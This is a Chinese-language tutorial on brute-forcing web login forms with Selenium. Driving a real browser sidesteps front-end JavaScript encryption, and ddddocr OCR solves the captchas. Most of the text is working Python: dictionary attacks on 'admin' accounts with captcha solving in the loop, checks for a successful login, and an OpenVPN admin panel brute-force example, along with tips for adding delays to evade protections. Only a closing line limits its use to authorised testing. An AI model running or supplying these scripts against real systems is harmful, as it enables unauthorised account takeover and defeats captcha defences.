利用Selenium绕过前端js加密及验证码爆破
字数 752 2025-08-26 22:11:45
Selenium绕过前端JS加密及验证码爆破技术详解
一、Selenium技术概述
Selenium是一个自动化测试工具,可以模拟真实用户对网页元素进行操作。与Burp Suite等工具直接发送数据包不同,Selenium能够完整模拟用户操作流程,包括:
- 打开网页
- 选中输入框
- 输入内容
- 点击按钮
- 自动处理前端校验逻辑
技术优势
- 绕过前端JS加密:当网站采用流量校验算法对数据包加密时,传统爆破工具难以处理
- 模拟真实用户行为:避免被反爬机制检测
- 支持完整操作流程:包括验证码处理等复杂交互
二、环境准备
1. 安装组件
pip3 install selenium
pip3 install ddddocr # 用于验证码识别
2. 浏览器驱动
- 下载与浏览器版本匹配的驱动程序(如chromedriver)
- 确保浏览器主版本号与驱动主版本号相同
- 将驱动放在可访问路径(如
C:\WebDriver\bin\chromedriver.exe)
三、基础使用
1. 初始化浏览器
from selenium import webdriver
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
2. 常用操作
# 打开网页
driver.get('http://example.com')
# 刷新页面
driver.refresh()
# 获取页面标题
title = driver.title
# 隐式等待(全局等待时间)
driver.implicitly_wait(0.5)
3. 元素定位方法
from selenium.webdriver.common.by import By
# 通过NAME定位
search_box = driver.find_element(by=By.NAME, value="q")
# 通过ID定位
search_button = driver.find_element(by=By.ID, value="btnK")
# 通过XPATH定位(推荐)
find_pass = driver.find_element(by=By.XPATH, value='//*[@id="app"]/div/div[1]/div[2]/div[1]/div/div[2]/input')
4. 元素操作
# 输入内容
search_box.send_keys("Selenium")
# 点击元素
search_button.click()
# 清除内容
search_box.clear()
# 获取元素属性
value = search_box.get_attribute("value")
5. 关闭会话
driver.quit()
四、爆破实战流程
1. 基础爆破实现
from time import sleep
def main():
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
driver.get('http://target.com/login')
# 定位元素
username = driver.find_element(by=By.XPATH, value='//input[@name="username"]')
password = driver.find_element(by=By.XPATH, value='//input[@name="password"]')
submit = driver.find_element(by=By.XPATH, value='//button[@type="submit"]')
# 读取密码字典
with open('pass.txt', 'r') as f:
for pwd in f:
pwd = pwd.strip()
username.send_keys('admin')
password.send_keys(pwd)
submit.click()
sleep(1)
# 判断是否登录成功
if "登录成功" in driver.page_source:
print(f"爆破成功,密码为: {pwd}")
break
2. 验证码处理
使用ddddocr识别验证码:
import ddddocr
# 定位验证码元素并截图
captcha = driver.find_element(by=By.XPATH, value='//img[@id="captcha"]')
captcha.screenshot("captcha.png")
# 识别验证码
ocr = ddddocr.DdddOcr()
with open("captcha.png", 'rb') as f:
image = f.read()
captcha_text = ocr.classification(image)
# 输入验证码
captcha_input = driver.find_element(by=By.XPATH, value='//input[@name="captcha"]')
captcha_input.send_keys(captcha_text)
3. 完整验证码爆破示例
from time import sleep
import ddddocr
def captcha_brute():
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
driver.get('http://target.com/login')
with open('pass.txt', 'r') as f:
for pwd in f:
pwd = pwd.strip()
# 处理验证码
captcha = driver.find_element(by=By.XPATH, value='//img[@id="captcha"]')
captcha.screenshot("captcha.png")
ocr = ddddocr.DdddOcr()
with open("captcha.png", 'rb') as img:
captcha_text = ocr.classification(img.read())
# 填写表单
driver.find_element(by=By.NAME, value="username").send_keys('admin')
driver.find_element(by=By.NAME, value="password").send_keys(pwd)
driver.find_element(by=By.NAME, value="captcha").send_keys(captcha_text)
# 提交
driver.find_element(by=By.XPATH, value='//button[@type="submit"]').click()
sleep(1)
# 验证结果
if "login success" in driver.page_source:
print(f"成功! 密码: {pwd}")
break
五、高级技巧
1. 判断登录成功的方式
- 检查页面URL变化
if driver.current_url == 'https://target.com/dashboard':
print("登录成功")
- 检查特定元素内容
success = driver.find_element(by=By.XPATH, value='//div[@class="message"]').text
if "success" in success:
print("登录成功")
2. 处理HTTPS证书错误
options = webdriver.ChromeOptions()
options.add_argument('ignore-certificate-errors')
driver = webdriver.Chrome(options=options)
3. 多标签页控制
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys
# 打开新标签页
ActionChains(driver).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
六、实战案例:OpenVPN爆破
def openvpn_brute():
options = webdriver.ChromeOptions()
options.add_argument('ignore-certificate-errors')
driver = webdriver.Chrome(options=options)
driver.get('https://vpn.target.com/admin/')
with open('pass.txt', 'r') as f:
for pwd in f:
pwd = pwd.strip()
driver.find_element(by=By.ID, value="username").send_keys('openvpn')
driver.find_element(by=By.ID, value="password").send_keys(pwd)
driver.find_element(by=By.ID, value="submit-button").click()
if driver.current_url == 'https://vpn.target.com/admin/status_overview':
print(f"成功! 密码: {pwd}")
break
七、注意事项
- 版本兼容性:确保浏览器与驱动版本匹配
- 反爬机制:适当添加延迟,避免触发防护
- 元素定位:优先使用XPath,但要注意页面结构变化
- 验证码识别:ddddocr对简单验证码效果较好,复杂验证码可能需要其他方案
- 异常处理:添加try-catch块处理元素未找到等异常
通过以上技术,可以有效地绕过前端加密和验证码机制,实现自动化爆破测试。请确保仅在授权范围内使用这些技术。